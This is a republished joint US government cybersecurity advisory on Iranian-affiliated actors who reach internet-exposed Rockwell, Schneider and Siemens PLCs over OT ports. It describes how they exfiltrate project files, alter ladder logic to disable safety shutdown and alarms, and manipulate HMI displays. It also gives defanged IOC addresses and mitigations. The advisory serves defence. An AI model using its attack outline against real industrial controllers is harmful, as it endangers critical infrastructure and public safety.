<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
